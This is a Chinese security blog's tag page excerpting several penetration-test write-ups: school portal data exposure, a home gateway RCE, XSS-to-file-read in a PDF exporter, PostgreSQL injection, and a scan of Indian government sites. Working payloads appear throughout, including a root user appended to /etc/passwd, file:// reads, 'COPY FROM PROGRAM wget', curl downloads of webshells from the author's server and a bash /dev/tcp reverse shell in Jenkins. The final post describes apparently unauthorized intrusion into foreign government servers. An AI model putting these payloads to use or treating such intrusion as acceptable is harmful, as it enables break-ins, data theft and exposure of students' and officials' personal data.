网站首页 包含标签 渗透测试 的所有文章

  • 某次小红书帮助下的Edu SRC挖掘

      1► 记一次edu挖掘   平时不怎么爱挖src,因此除了项目需要之外(基本全部都是企业的网站),业余几乎不会抽时间去挖挖各大众测平台的src,还没有挖过类似于学校edu这一类的src,于是就想着玩一下,看看有什么区别。   2► 目标定夺   首先是目标的问题,一般对于网站的一些首页,内容太多,所以打起来会比较墨迹,因此这次目标定在了某个学校的智慧校园后台,一般这一类的后台管理系统都会存在类似于弱口令、登录绕过等各种问题,而且功能相对来说也比较简单。 3► 操作手册泄露   在对网站目录进行扫描爆破的途中,发现了一个/doc路径,访问下载出来了一个系统的操作手册,按照以往的经验,这一类的操作手册一般都会存在很多可利用的地方,比如说一些默认的账号密码会写明,或者说后台的一些用户名账号密码可能会被泄露。果不其然,这里虽然后面大部分图片被打上了马赛克,但是依旧有少部分图片是泄露了学生的姓名,账号,管理员的账号admin_g等。 拿到了账号之后,尝试了一轮的暴力破解,因为个人觉得这一类密码应该都是有规律的,可能就是学号或者姓名简写等,很遗憾的并没有,开发人员对登录错误次数限制为了5次,因此并没有能够成功登录到任何一个账号。   4► JS泄露   这里的JS文件有些许奇怪,它以前应该是测试的时候在内网有一个路径Env,从这个Env获取类似于配置的东西,这里应当某个子域名的外网。 尝试访问配置文件的路径/Env,得到了很多的api接口的URL,根据各类接口的命名,可以看到它是通过前后端分离,通过不同的接口域名处理不同角色的逻辑,教师的、学生的,等等。 这是一个Java编写的应用程序,根据经验,类似的api路径接口可能会存在springboot信息泄露或swagger接口文档能够被访问的问题,进行了尝试之后,发现每一个接口的URL路径都存在了swagger接口文档泄露的问题。   5► Swagger接口泄露   swagger接口文档未删除,能够被访问并不意味着一定存在漏洞,当开发人员对网站的各种权限措施等做的足够好时,接口文档也仅是一个接口文档了,只不过能够让攻击者快速摸清楚网站的各类接口和它的作用。在前面几个类似于登录Swagger接口文档并没有找到可利用的点,基本上都返回401 Unauthorized,因为接口很多,逐渐被消磨着耐心,它这里的一些data数据接口甚至进行了IP封锁,直接返回了403。   直至来到处理Student与Teacher接口,通过一个个寻找发现了存在可用的未授权接口,这两个接口能够获取到所有学生、教师的姓名、班级、身份证号等信息。 通过学生的ID号还能够得到学生、老师的详细信息个人信息。 6► 小红书的作用   这时候想起操作文档中泄露的账号,是否可以继续通过这些信息猜测账号密码呢,因为通过文档的说法,是存在着一个默认密码的,但是我这里一直都没有试出来(当然这也与我几乎没有接触过学校类的网站相关,经验实在是太少了),所以我开始尝试其它方式,比如小红书?我在小红书发布了一个帖子,并艾特了这个学校,以求在评论区中得到默认的账号密码。 果不其然小红书起到了它该有的作用,下面有人回复我的贴子,得到了我想到的内容。 剩下最后一个问题就是说,密码是身份证后六位,我该如何得到操作手册中对应用户的身份证呢?于是我尝试了不用操作手册中的账号,我直接通过了身份证号作为账号,后六位作为密码进行了一次登录,登录成功了,尝试了其它的账号,也都成功了,也就意味着这个学校大量的教师和学生账号泄露出来了。 在后台里面能够访问到该学校的其它管理系统,新闻中心,甚至能够看到协同办公的OA等等   当然还存在了其它的接口也存在未授权的问题,比如说成绩的导出等等,泄露了大量学生的成绩信息、身份证号等等。   7► 总结   之所以写下这篇文章,并不是说这次的src有多难,而是觉得这次的src是有意义的B站,小红书,抖音等社交软件也可以成为有效的攻击社工利用手段之一。而对于学校这一类的系统,因为用户量大,学生安全意识并不强的原因,大部分的账号都是默认密码,学生教师等都并不会更改密码。 原文作者:Aiwin文章来源:https://xz.aliyun.com/t/14232      ...

    2024-04-21 技术教程 218
  • 记一次对天翼安全网关的渗透

    0x00 起因 听大师傅说天翼安全网关可以telnet登录,回去尝试了下发现并没有开放telnet端口,把目标转向如何开启,经过一系列搜索,最后拿下网关。 0x01 信息泄露 我家这个网关型号是 HG261GS,经过一番搜索,发现访问 http://192.168.1.1/cgi-bin/baseinfoSet.cgi可以拿到密码 然后搜索密码的加密方式,得到工程账号的密码,加密算法为加密算法:字母转换为其ASCII码+4,数字直接就是ASCII码 之后登录 0x02 命令执行 在后台转了一圈没发现开启telnet的地方,经过一番搜索,找到这个版本存在命令执行的问题,访问http://192.168.1.1/cgi-bin/telnet.cgi通过InputCmd参数可以直接执行系统命令,然后访问http://192.168.1.1/cgi-bin/telnet_output.log可以看到执行结果,通过js下的telnet.js也可以访问http://192.168.1.1/cgi-bin/submit.cgi得到执行结果   测试一下效果   结果   这样就找到了个rce点,开始的想法是反弹shell,后来发现大部分命令都没有,是个BusyBox,打算用awk弹个shell,又碰见编码问题,试了很多种方法写不进去,这里就想着直接老老实实开启telnet登录,搜索了一波怎么进入系统 硬件牛盖子一拆就能长驱直入了,我也想,但是实力不允许首先先导出原配置文件,在管理-设备管理,插个U盘,备份配置即可 这里导出配置感觉不太合适,万一弄坏了其他人都上不了网了,拆盖子又不会,那么只能继续摸索,转换下思路,既然有配置文件,那么肯定有读取配置文件去开启的功能,直接find搜索所有cgi文件InputCmd=find%20/%20-name%20"*cgi*",找到一个名叫telnetenable.cgi的文件,这不就是开启telnet的东西嘛   直接读取内容,找到开启方法   发现还是不能连接,经过排查,网关开启了防火墙过滤,阻止了23端口的连接,这里找到对应的iptables链和规则行号,直接删除,比如要删除INPUT链的第三条规则,可以执行iptables -D INPUT 3,然后添加23端口允许通过,效果如下   0x03 添加用户 成功进入登录页面,尝试使用读到的工程账密码和光猫背面默认密码登录,然而都登不上去   这里直添加一个Linux用户test/password@123 echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd 登录成功~   最后记得关掉telnet,光猫作为出口,会有个公网地址,开启后公网也可以远程登录进来关闭命令killall telnetd >/dev/null 2>&1 文章来源:先知社区(7tem7)原文地址:https://xz.aliyun.com/t/9046      ...

    2024-04-14 技术教程 378
  • 记一次Edu挖掘记录

    平时不怎么爱挖src,因此除了项目需要之外(基本全部都是企业的网站),业余几乎不会抽时间去挖挖各大众测平台的src,还没有挖过类似于学校edu这一类的src,于是就想着玩一下,看看有什么区别。 目标定夺 首先是目标的问题,一般对于网站的一些首页,内容太多,所以打起来会比较墨迹,因此这次目标定在了某个学校的智慧校园后台,一般这一类的后台管理系统都会存在类似于弱口令、登录绕过等各种问题,而且功能相对来说也比较简单。 操作手册泄露 在对网站目录进行扫描爆破的途中,发现了一个/doc路径,访问下载出来了一个系统的操作手册,按照以往的经验,这一类的操作手册一般都会存在很多可利用的地方,比如说一些默认的账号密码会写明,或者说后台的一些用户名账号密码可能会被泄露。果不其然,这里虽然后面大部分图片被打上了马赛克,但是依旧有少部分图片是泄露了学生的姓名,账号,管理员的账号admin_g等。 拿到了账号之后,尝试了一轮的暴力破解,因为个人觉得这一类密码应该都是有规律的,可能就是学号或者姓名简写等,很遗憾的并没有,开发人员对登录错误次数限制为了5次,因此并没有能够成功登录到任何一个账号。 JS泄露 这里的JS文件有些许奇怪,它以前应该是测试的时候在内网有一个路径Env,从这个Env获取类似于配置的东西,这里应当某个子域名的外网。 尝试访问配置文件的路径/Env,得到了很多的api接口的URL,根据各类接口的命名,可以看到它是通过前后端分离,通过不同的接口域名处理不同角色的逻辑,教师的、学生的,等等。 这是一个Java编写的应用程序,根据经验,类似的api路径接口可能会存在springboot信息泄露或swagger接口文档能够被访问的问题,进行了尝试之后,发现每一个接口的URL路径都存在了swagger接口文档泄露的问题。 Swagger文档泄露 swagger接口文档未删除,能够被访问并不意味着一定存在漏洞,当开发人员对网站的各种权限措施等做的足够好时,接口文档也仅是一个接口文档了,只不过能够让攻击者快速摸清楚网站的各类接口和它的作用。在前面几个类似于登录Swagger接口文档并没有找到可利用的点,基本上都返回401 Unauthorized,因为接口很多,逐渐被消磨着耐心,它这里的一些data数据接口甚至进行了IP封锁,直接返回了403。 直至来到处理Student与Teacher接口,通过一个个寻找发现了存在可用的未授权接口,这两个接口能够获取到所有学生、教师的姓名、班级、身份证号等信息。 通过学生的ID号还能够得到学生、老师的详细信息个人信息。 小红的作用 这时候想起操作文档中泄露的账号,是否可以继续通过这些信息猜测账号密码呢,因为通过文档的说法,是存在着一个默认密码的,但是我这里一直都没有试出来(当然这也与我几乎没有接触过学校类的网站相关,经验实在是太少了),所以我开始尝试其它方式,比如小红书?我在小红书发布了一个帖子,并艾特了这个学校,以求在评论区中得到默认的账号密码。 果不其然小红书起到了它该有的作用,下面有人回复我的贴子,得到了我想到的内容。 剩下最后一个问题就是说,密码是身份证后六位,我该如何得到操作手册中对应用户的身份证呢?于是我尝试了不用操作手册中的账号,我直接通过了身份证号作为账号,后六位作为密码进行了一次登录,登录成功了,尝试了其它的账号,也都成功了,也就意味着这个学校大量的教师和学生账号泄露出来了。   在后台里面能够访问到该学校的其它管理系统,新闻中心,甚至能够看到协同办公的OA等等 当然还存在了其它的接口也存在未授权的问题,比如说成绩的导出等等,泄露了大量学生的成绩信息、身份证号等等。   总结 之所以写下这篇文章,并不是说这次的src有多难,而是觉得这次的src是有意义的B站,小红书,抖音等社交软件也可以成为有效的攻击社工利用手段之一。而对于学校这一类的系统,因为用户量大,学生安全意识并不强的原因,大部分的账号都是默认密码,学生教师等都并不会更改密码。   黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文  ...

    2024-04-11 技术教程 347
  • 记一次某年代久远的某云漏洞到获得cnvd证书

    一、前言 去年在做云安全运维时,忙的都没有空挖漏洞。为了弥补去年一年cnvd证书的空缺,某一天晚上我打开了FOFA搜索关键字"系统",找到了某个系统网站进行测试。 二、思路历程 找到该系统时,首先用插件看了下网站接口是否存在未授权访问。 看了圈都是下载相关的页面,接着就用dirsearch进行目录扫描。 其中在检查扫描到的目录/login.php时,访问该网页时跳出 然后一堆代码一闪而过后,跳转到如下页面 看到上面的情形我猜测网站环境可能是不支持php的,php源码会直接打印出来 接着抓包访问/login.php,果不其然登录页面源码出现了: 在登录的源码中,最有利用价值的莫过于是数据库的账号密码、数据库名称,但是3306端口不一定就是开在公网上的 于是我把FOFA上所有的该系统都扒下来,放进goby中只检测开放了3306端口的系统 在企查查发现该系统的开发商注册资产超过5000万,漏洞目标又有10+,满足申请cnvd证书的条件 已知数据库为KDM3ADB,账号为root,密码为kdc 直接使用sqlmap对数据库进行注入: python3 sqlmap.py -d "mysql://root:kdc@X.X.X.X:3306/KDM3ADB" --tables 这样一张证书就到手了。 验证是dba的权限,以为能一把梭得到源码再审计一波 不过这个注入的地方虽然是dba的权限,但是却没有文件上传的权限,所以无法getshell   拿到数据库了,可以再测试一波弱口令 翻了下密码是这样的,很抽象应该是自己写了加密 回到之前login.php源码泄露里面,其中在登录时有对密码进行解密的源码,看着很头疼,想起了学密码学时候那些交换变换的算法 // 密码加密函数 function EncryptStr($strSo ...

    2023-11-09 268
  • 记一次众测的两个洞

    这两个洞是公众号的,以下是我利用Charles+burp进行抓包,Charles的配置。 测公众号的话,可以用浏览器打开,以下主要是可以进行微信小程序的测试。不用下载什么模拟器,pc端完全可以。但是找小程序包的逆向看源码,我发现有一个相同的小程序,模拟器里面的包有主包和分包。PC端的只有一个主包。进行查看,分包里面的内容也没有什么可用的,但是有的小程序PC端也会发现分包。真机的话,已经在root的手机没有在小程序包的目录发现。 还有小程序在模拟器找小程序包的话,要root,用雷神的话,文件管理器会赋予root权限,可以进行根目录的查看。要是真机或者mumu的话需要下载一个Root Explorer,才可以查看根目录。当然可以用adb进入shell,在导出wxapkg包也完全可以。 首先安装证书 之后跟着走就安装好了 接着需要配置https。 最后配置连接到bu ...

    2023-10-08 199
  • 如何使用Redeye在渗透测试活动中更好地管理你的数据

    关于Redeye Redeye是一款功能强大的渗透测试数据管理辅助工具,该工具专为渗透测试人员设计和开发,旨在帮助广大渗透测试专家以一种高效的形式管理渗透测试活动中的各种数据信息。 工具概览 服务器端面板将显示所有添加的服务器基础信息,其中包括所有者用户、打开的端口和是否已被入侵: 进入服务器之后,将显示一个编辑面板,你可以在其中添加目标服务器上发现的新用户、安全漏洞和相关的文件数据等: 用户面板包含了从所有服务器上发现的全部用户,用户信息通过权限等级和类型进行分类,用户的详细信息可以通过将鼠标悬停在用户名上以进行修改: 文件面板将显示当前渗透测试活动中相关的全部文件,团队成员可以上传或下载这些文件: 攻击向量面板将显示所有已发现的攻击向量,并提供严重性、合理性和安全风险图: 预报告面板中包含了当前渗透测试活动中的所有屏幕截图: 图表面板中包含了渗透测试过程中涉及到的全部用户和服务器,以及它们之间的关系信息: API允许用户通过简单的API请求来轻松获取数据: curl redeye.local:8443/api/servers --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq curl redeye.local:8443/api/users --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq   curl redeye.local:8443/api/exploits --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq 漏洞利用: 任务查看: 工具安装 Docker安装 首先,我们需要从该项目的GitHub代码库上拉取项目代码: git clone https://github.com/redeye-framework/Redeye.git 然后切换到项目目录中,并运行docker-compose: cd Redeye     docker-compose up -d 接下来,我们需要启动或关闭容器: sudo docker-compose start/stop 最后存储并加载Redeye即可: docker save ghcr.io/redeye-framework/redeye:latest neo4j:4.4.9 > Redeye.tar     docker load < Redeye.tar 源代码安装 由于该工具需要使用到Python 3环境,因此我们首先需要在本地设备上安装并配置好Python 3。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/redeye-framework/Redeye.git 然后切换到项目目录中,激活虚拟环境,并使用pip3工具和项目提供的requirements.txt文件安装该工具所需的其他依赖组件: cd Redeye     sudo apt install python3.8-venv   python3 -m venv RedeyeVirtualEnv   source RedeyeVirtualEnv/bin/activate   pip3 install -r requirements.txt 最后,执行数据库脚本和工具脚本即可: python3 RedDB/db.py     python3 redeye.py --safe 工具使用 工具运行后,将开始监听下列地址: http://0.0.0.0:8443 默认用户凭证如下: 用户名:redeye 密码:redeye Neo4j将监听下列地址: http://0.0.0.0:7474 默认登录凭证如下: 用户名:neo4j 密码:redeye 许可证协议 本项目的开发与发布遵循BSD-3-Clause开源许可证协议。 项目地址 Redeye:【GitHub传送门】 参考资料 https://github.com/azouaoui-med/pro-sidebar-template https://bootsnipp.com/snippets/Q0dAX https://www.jqueryscript.net/chart-graph/Drag-drop-Flow-Chart-Plugin-With-jQuery-jQuery-UI-flowchart-js.html http://danml.com/download.html http://www.dropzonejs.com https://www.iconfinder.com http://www.freepik.com https://codepen.io/jo_Geek/pen/NLoGZZ  ...

    2023-10-08 188
  • 绕过检测将恶意Word文件嵌入到PDF文件中

    日本的计算机应急响应团队JPCERT分享了其检测到的一种新的攻击技术。2023年7月,JPCERT观察到该攻击技术并将之命名为“MalDoc in PDF”,该技术通过将恶意Word文件嵌入到PDF文件中来绕过检测。         JPCERT采样的恶意文件是一个多语言文件,多语言文件指包含多种不同文件格式的文件,可以根据打开它们的应用程序解释和执行多种文件类型。在本例中,大多数扫描引擎和工具会将其识别为PDF,但办公应用程序可以将其作为常规的Word文档(.doc)打开。           多语言文件在一种格式中可能看似无害,而在另一种格式中则可能隐藏了恶意代码,因此黑客通常使用这类文件来逃避检测或混淆分析工具。在这种情况下,该PDF文档包含一个带有VBS宏的Word文档,如果在Microsoft Office中将之作为.doc文件打开,则会下载并安装一个MSI恶意软件文件。         “MalDoc in PDF”作为攻击手段的主要优势是能够逃避传统PDF分析工具(如“pdfid”)或其他只检查文件外层(即合法的PDF结构)的自动化分析工具的检测。但另外一些分析工具(如“OLEVBA”)仍然可以检测到多语言文件中隐藏的恶意内容。JPCERT指出,多层次的防御和丰富的检测集能够有效对抗这种威胁。           JPCERT提醒道,虽说本文描述的技术无法绕过禁用Word宏自动执行的设置,但由于这些文件被识别为PDF文件,现有的沙箱或杀毒软件可能无法检测到它。所以假如正在使用一些沙箱、工具等进行自动化恶意软件分析,需要特别注意这一点。   </p> 原文出自:https://zhuanlan.kanxue.com/article-24259.htm 发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文...

    2023-09-03 368
  • 商城优惠券处的漏洞挖掘技巧

    0x01 优惠券可遍历,领取隐藏优惠券 通常在商城类型的系统,领取优惠券功能点是一定有的 当我们领取一张优惠券时                那么可以尝试遍历优惠券id 成功的领取了优惠券 可以通过这种方式通过遍历优惠券id大批量领取优惠券 思维拓展: 试想一下,我们通常可以看到一些开会员处,当你开通会员会赠送你会员专属优惠券,那么我们可不可以通过这种遍历优惠券的方式来领取到开了会员才能拥有的优惠券呢?或者是一些历史搞的活动送的巨额优惠券,现在活动已经不在了,那能不能通过遍历优惠券id再次领取到?再或者是一些活动抢券,还没到抢的时间,但是可以通过遍历领取到呢? 0x02 优惠券可并发导致无限制领取 这种漏洞在测试领取优惠券处是非常常用的,我们在点击领取优惠券时,抓包并发, 如果存在并发漏洞便可实现无限制领取优惠券 我们可以使用burpsuite插件turbo实现并发 再或者直接在爆破模块设置并发次数也是可以的,但是效果没有turbo好 这时候我们可以抓包并发尝试了 成功实现了一张优惠券并发领取多张 0x03 优惠券复用 我们正常使用一个优惠券去创建一个订单 然后停留在支付页面,但不着急付款 这时候再回去取消订单,这时候可以看到优惠券已经重新返回给我们了 那么这时候再去支付页面进行支付,如果支付成功, 且成功创建了订单,那么我们便可以利用此方式实现优惠券复用,造成一张优惠券可无限制使用。 0x04 并发导致一张优惠券可创建多个订单 这里依然是并发问题,当我们在使用优惠券下订单时候,尝试下订单处并发,如果一个优惠券成功创建了多个订单,可达到我们想要的效果 0x05 突破大额优惠券使用限制,实现最低价格购买商品 我们通常会领取一些优惠券,但是这些优惠券使用都是有限制的,比如一些优惠券的抵扣规则是限制了只能购买部分商品,有的是全平台通用 那么我们在下订单时候,能不能抓包替换优惠券的id号,突破这一类限制,从而实现优惠力度最大化? 那么在我们下订单抓包时候,替换所使用的优惠券id为不可用的id,是不是可以实现突破,减免优惠力度呢? 0x06 总结 每位漏洞挖掘的师傅思路都不同,特别是这种突破某些限制的功能点以及领取优惠的功能点,思路开拓才能挖到更大的漏洞。...

    2023-09-02 376
  • 记一次从xss到任意文件读取

    0x00 前言 xss一直是一种非常常见且具有威胁性的攻击方式。然而,除了可能导致用户受到恶意脚本的攻击外,xss在特定条件下还会造成ssrf和文件读取。 本文主要讲述在一次漏洞挖掘过程中从xss到文件读取的过程,以及其造成的成因。   0x01 漏洞详细 1. XSS 漏洞所在的是一个可以在线编辑简历并导出的一个网站。 首先注册账号后进去,任意选一个模板在线编辑,在编辑简历时插入payload测试 发现被转义了,我们手动修改回去 刷新简历可以看到成功弹窗,证明存在存储型xss 然后使用<h1>标签测试,可以发现h1标签也会被解析 然后我们发现,网站有一个功能可以把简历转成pdf并下载,而在线编辑的是html格式,而且这一转换过程是在后端完成,并且导出的pdf中标签依然是被解析的,如下图所示,导出的pdf中上方的字体也明显变大,说明h1标签被解析 2. SSRF 通过过滤网络请求我们发现这样一个数据包,它将html及里面包含的js代码会发送给后端,后端可能通过渲染html代码从而生成pdf供用户下载   </p> 那后端是如何将html渲染成pdf,执行html中的js呢?   一般可以通过获取后端解析的组件及版本来获取更多信息,从下载的pdf中,可以文件的头部信息可以获取创建者或者pdf文件信息   </p> 可以发现后端使用的wkhtmltopdf组件   wkhtmltopdf官方文档: https://wkhtmltopdf.org/index.html 在他的使用文档中发现其使用 Qt WebKit 浏览器引擎将html渲染成pdf,既然是通过浏览器渲染的,那html中的所有标签也会被浏览器所执行。   所以我们使用 iframe 标签尝试读取内网资源   <iframe src="http://127.0.0.1" width="500" height="100">   </p> 可以看到虽然是403,但是确实是能读取成功的。   </p>   3. 任意文件读取 我们尝试是否能通过请求file协议读取文件   javascript 将在服务器端执行,让我们尝试通过注入以下 javascript 从文件系统中获取文件,然后构造payload进行文件的读取:                 <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script> 通过XMLHttpRequest发起请求,使用file协议读取本地文件,然后document.write将请求的结果覆盖原来html的内容。   </p> 访问pdf,成功读取到文件   </p> 0x03 漏洞成因及修复 所里这里有一个疑问,为什么js会导致本地任意文件读取,如果真是这样的话那我们每个用户在浏览有js的网页时都会造成本地信息泄露?   </p> 其实我们在使用浏览器访问网页并加载js时,浏览器有一套安全机制,使用XMLHttpRequest对象读取本地文件在Web浏览器中是受限的,因为出于安全考虑,浏览器限制了通过XMLHttpRequest对象直接访问本地文件系统。   </p> 如上图所致直接在浏览器执行这段payload会被提示 Not allowed to load local resource   </p>   </p> 前面我们提到后端将html转换为pdf的组件是 wkhtmltopdf,他使用无头运行的Qt WebKit浏览器引擎,但是浏览器默认参数是使用 --enable-local-file-access,即允许访问本地文件,这就是导致可以使用 file 协议进行任意文件的问题。       --disable-local-file-access 不允许一个本地文件加载其他的本地文件,使用命令行参数 --allow 指定的目录除外。--enable-local-file-access 与--disable-local-file-access相反(这是默认设置)--allow 允许加载指定文件夹中的一个或多个文件 同时wkhtmltopdf官方文档中也说明了不要将 wkhtmltopdf 与任何不受信任的 HTML 一起使用   </p> 即使使用了 --disable-local-file-access,攻击者也可以利用预构建二进制文件中的 CVE 的攻击者可能能够绕过此设置。     文章来源:奇安信攻防社区(Duck)原文地址:https://forum.butian.net/share/2409...

    2023-09-01 213
  • 又记一次安服仔薅洞实战-未授权之发现postgresql注入

    上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 0x00前言 距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 首先映入眼帘的是个登录框 老样子找未授权和弱口令,不过这一次这个站有阿里云waf就没有扫目录啦。弱口令admin:123456,很显然开发没这么蠢 这时候应该思考什么,为什么这个站只有登录没有注册,那要怎么注册呢,一定存在一个注册的地方但不在这里。这时候试一下未授权,将目录中的login改成admin试试,果然进来了 在翻一翻,左边企业目录没有数据和修改密码都因为是未授权进来没有什么数据,那目光只能放在帮助上了 帮助处存在两个手册,先来翻一翻这两个手册 先查看第一个手册物业操作手册,可以知道两个信息,初始账户密码都是123456以及有一个手机端但是不知道是APP还是微信公众号还是小程序。 再查看第二个手册企业操作手册,果然这里发现了原来是有个微信公众号里面的小功能呀。 整理一下思路,存在微信公众号以及初始账号密码是123456,这时去爆破看看账号密码咯~ 0x01暴力破解 在翻手册中看到是企业用户那应该用的是人名的拼音作为账号,密码就是123456去试试 果然存在账号密码是123456可惜只能用手机号登录,高危漏洞先记录一个暴力破解存在。 0x02敏感信息泄漏 再看看历史数据包发现了一个有趣的东西,一个白给的数据泄漏 输入pass看看有没有信息,白给了一堆账号密码,不过都利用不了就放着了,再记一个敏感信息高危了 这里web没啥东西了,去微信公众号看看去,根据之前未授权查看的帮助文档顺利找到了这个公众号,一步步点下来终于找到注册的地方咯 0x03用户名枚举 账号注册先放一边,又看到了熟悉的操作手册,点开来看看 点进去看一看,发现了几个电话号码,通过web端的验证看看 通过web端的手机登录,果然存在该用户,喜提手机号枚举中危 0x04PDSQL注入 回归企业用户注册正题来了,接下来干货满满 点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入 尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了 先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢 先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400) ,传入的数据在两个百分号之间。 一开始我尝试在参数后面添加';payload--+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'和一张图片 现在来分析一下这个语句,单引号'是用来闭合原本语句中的前单引号',符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法 这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1 0x05任意文件读取 继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过 '||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。 0x06任意文件写入 使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--,并且用URL编码加密在tmp目录下2.jsp文件写入1234 然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'查询tmp目录下的2.jsp,已经上传成功了 如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'读取tmp目录下3.jsp是不存在的 这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。 0x07命令执行 使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。 期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。 秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见...

    2023-08-25 275
  • 一次暴露面全开的红帽渗透测试【getshell】

    0x01、信息收集阶段 ==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv"   email = 'u_mail'key = 'u_API_KEY'search = pythonfofa.Client(email, key)get_data = search.search('host="gov.in" && country="IN"', size=70000)   print(get_data)   requests = [result[1] for result in get_data['results']]print(requests)   打开CSV文件并设置写入模式   with open(filename, "w", newline="") as file:writer = csv.writer(file)   遍历请求列表   for request in requests:   在控制台打印域名   print(request)   检测域名是否包含"http://"   if not request.startswith("http://") and not request.startswith("https://"):   如果不包含,则在域名前添加"http://"   request = "http://" + request   在域名后添加斜杠"/"   request += "/"   将请求和值"1"作为一行写入CSV文件   writer.writerow([request, 1])   是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS) 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 